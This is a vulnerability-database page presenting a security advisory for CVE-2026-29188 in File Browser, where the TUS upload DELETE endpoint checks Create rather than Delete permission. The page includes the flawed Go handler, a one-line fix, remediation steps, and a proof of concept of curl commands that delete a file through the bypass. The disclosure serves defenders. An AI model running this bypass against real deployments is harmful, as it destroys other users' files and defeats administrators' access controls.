Loading...
Skip to main content

CVE-2026-29188 — Vulnerability in...

CRITICAL

File Browser's TUS Delete Endpoint Bypasses Delete Permission Check

Published March 4, 2026Updated March 23, 2026Source: osv

Summary

### Summary A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected. ### Details The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete: ```go // http/tus_handlers.go - tusDeleteHandler (VULNERABLE) func tusDeleteHandler(cache UploadCache) handleFunc { return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked return http.StatusForbidden, nil } // ... err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted ``` The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete: ```go // http/resource.go - resourceDeleteHandler (CORRECT) func resourceDeleteHandler(fileCache FileCache) handleFunc { return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission return http.StatusForbidden, nil } ``` This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated. ### Proposed fix: ```go // http/tus_handlers.go - if r.URL.Path == "/" || !d.user.Perm.Create { + if r.URL.Path == "/" || !d.user.Perm.Delete { ``` ### PoC - filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) - Tested on: Kali Linux, go version go1.23+ ### Setup section ```bash # Build and initialize git clone https://github.com/filebrowser/filebrowser cd filebrowser go build -o filebrowser . ./filebrowser config init # Create a test user with Create=true but Delete=false ./filebrowser users add testuser SuperSecurePassword1234 \ --perm.create=true \ --perm.delete=false # Start server ./filebrowser & ``` ### POC script steps 1. Confirm the Delete permission is correctly enforced on the standard endpoint: ```bash TOKEN=$(curl -s -X POST localhost:8080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"SuperSecurePassword1234"}') # Attempt deletion via the standard resource endpoint → should be blocked curl -s -X DELETE "localhost:8080/api/resources/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{http_code}\n" # Expected: HTTP Status: 403 ``` 2. Bypass via the TUS Delete endpoint: ```bash # Initiate a TUS upload to register the file in the upload cache curl -s -X POST "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: 18" \ -w "HTTP Status: %{http_code}\n" # Expected: HTTP Status: 201 # Now delete via the TUS endpoint - Perm.Delete is NOT checked curl -s -X DELETE "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{http_code}\n" # Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false ``` **Observed results:** ``` DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced ) DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed ) ``` ### Impact This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where: - Multiple users share a single instance, and - An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.

Advisory Timeline

  • First published March 4, 2026 (222 days ago).
  • Last revised March 23, 2026 — 18 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/filebrowser/filebrowser/v2 to 2.61.1 or later
go get github.com/filebrowser/filebrowser/v2@v2.61.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/filebrowser/filebrowser/v2
go
All versions2.61.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-29188?
File Browser's TUS Delete Endpoint Bypasses Delete Permission Check This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-29188?
CVE-2026-29188 affects github.com/filebrowser/filebrowser/v2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-29188 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-79pf-vx4x-7jmm
GO-2026-4606

Related CVEs

  • CVE-2026-32760
    CRITICAL

    File Browser Signup Grants Admin When Default Permissions Include Admin

  • CVE-2026-54088
    CRITICAL

    File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

  • CVE-2026-54089
    CRITICAL

    File Browser: Authentication Bypass via Proxy Auth Header Forgery

  • CVE-2026-54096
    HIGH

    File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

  • CVE-2026-54097
    HIGH

    File Browser: Cross-user unauthorized share-link deletion via unbounded prefix match in DeleteWithPathPrefix

  • CVE-2025-64523
    HIGH

    File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function

  • CVE-2026-54090
    HIGH

    File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection

  • CVE-2026-55667
    HIGH

    File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies